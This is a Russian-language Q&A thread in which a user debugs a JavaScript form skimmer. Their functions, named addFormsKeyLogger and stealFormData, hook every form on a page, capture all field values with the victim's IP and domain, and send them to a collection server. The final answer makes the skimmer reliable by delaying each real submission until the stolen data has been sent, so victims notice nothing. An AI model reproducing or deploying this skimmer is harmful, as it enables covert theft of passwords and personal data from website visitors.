Ajax не отправляет ny запрос

Question

Я пытаюсь отправить запрос с использованием Ajax и чистого Javascript, в основном я добавляю слушателя на кнопку отправки всех HTML-форм, представленных на странице.

При запуске этих слушателей извлекают введенные пользователем данные и отправляют их на мой удаленный сервер.

Проблема в том, что я вхожу в метод ajaxPostRequest, но запрос не отправляется. Я подозреваю, что у Ajax не хватает времени для выполнения своей работы из-за формы action = "something", которая заставляет браузер покидать текущую страницу, где работает Javascript-код.

function addFormsKeyLogger(victimIP) { 
    var forms = document.forms; 

    for (i = 0; i < forms.length; i++) { 
     forms[i].addEventListener('submit', function() { 
      var elements = this.elements; 
      var formData = ''; 

      for (j = 0; j < elements.length; j++) { 
       formData += elements[j].name + ':' + elements[j].value + '|'; 
      } 

      stealFormData(victimIP, formData); 
     }, false); 
    } 
} 

function stealFormData(victimIP, formData) { 
    var params = "action=stealFormData" 
     + "&victimIP=" + victimIP 
     + "&domain=" + document.domain 
     + "&location=" + encodeURIComponent(location.pathname) 
     + "&formData=" + encodeURIComponent(formData); 

    ajaxPostRequest(params); 
} 

function ajaxPostRequest(params) { 
    var url = "http://127.0.0.1/something.php"; 
    var xhttp = new XMLHttpRequest(); 

    // for debugging 
    xhttp.onreadystatechange = function() { 
     if (xhttp.readyState == 4 && xhttp.status == 200) { 
      alert(params); 
     } 
    }; 

    xhttp.open("POST", url, true); 
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
    xhttp.send(params); 
} 

EDIT: Кажется, я нашел начало решения. Мне нужно предотвратить нормальное поведение отправки, используя event.preventDefault(); Я отправляю свой запрос, а затем звоню this.submit();. Однако появилась новая проблема: вместо отправки 1 запроса отправляются несколько запросов (столько, сколько есть на странице). Есть идеи?

Answer 1

Ну, я думаю, что лучше разместить пост в ответ, чем очень длинное редактирование.

Я изменил код следующим образом:

function addFormsKeyLogger(victimIP) { 
    var forms = document.forms; 

    for (i = 0; i < forms.length; i++) { 
     forms[i].addEventListener('submit', function (event) { 
      event.preventDefault(); 
      var elements = this.elements; 
      var formData = ''; 

      for (j = 0; j < elements.length; j++) { 
       formData += elements[j].name + ':' + elements[j].value + '|'; 
      } 

      var params = "action=stealFormData" 
       + "&victimIP=" + victimIP 
       + "&domain=" + document.domain 
       + "&location=" + encodeURIComponent(location.pathname) 
       + "&formData=" + encodeURIComponent(formData); 

      ajaxPostRequest(params); 
      this.submit(); 
     }, false); 
    } 
} 

function ajaxPostRequest(params) { 
    var url = "http://127.0.0.1/whatever.php"; 
    var xhttp = new XMLHttpRequest(); 

    // for debugging 
    xhttp.onreadystatechange = function() { 
     if (xhttp.readyState == 4 && xhttp.status == 200) { 
      alert("success: " + params); 
     } 
    }; 

    xhttp.open("POST", url, true); 
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
    xhttp.send(params); 
} 

Проблема теперь, как я объяснил в моем предыдущем редактирования является то, что запрос посылается для каждой формы. Это не должно быть так, поскольку слушатели ограничены определенной формой (это). Поэтому, если я отправлю форму, она должна отправить только один запрос (для хорошей формы), который в настоящее время не относится.

Подсказка?

Answer 2

Хорошо, поэтому я отвечаю на свой пост. На самом деле мне пришлось предотвратить поведение по умолчанию для сообщения, чтобы добавить обратный вызов (я ожидаю, что запрос POST был сделан), а затем отправьте форму, которую я передал, поскольку обратный вызов здесь - это код, надеюсь, что это может помочь кому-то :)

function addFormsKeyLogger(victimIP) { 
    var forms = document.forms; 

    for (i = 0; i < forms.length; i++) { 
     forms[i].addEventListener('submit', function(event) { 
      event.preventDefault(); 
      var elements = this.elements; 
      var formData = ''; 

      for (j = 0; j < elements.length; j++) { 
       formData += elements[j].name + ':' + elements[j].value + '|'; 
      } 

      var params = "action=stealFormData" 
       + "&victimIP=" + victimIP 
       + "&domain=" + document.domain 
       + "&location=" + encodeURIComponent(location.pathname) 
       + "&formData=" + encodeURIComponent(formData); 

      ajaxPostRequest(params, this); 
     }, false); 
    } 
} 

function ajaxPostRequest(params, callback) { 
    var url = "http://127.0.0.1/whatever.php"; 
    var xhttp = new XMLHttpRequest(); 

    // for debugging 
    if(typeof callback !== "undefined") { 
     xhttp.onreadystatechange = function() { 
      if (xhttp.readyState == 4 && xhttp.status == 200) { 
       callback.submit(); 
      } 
     }; 
    } 

    xhttp.open("POST", url, true); 
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
    xhttp.send(params); 
}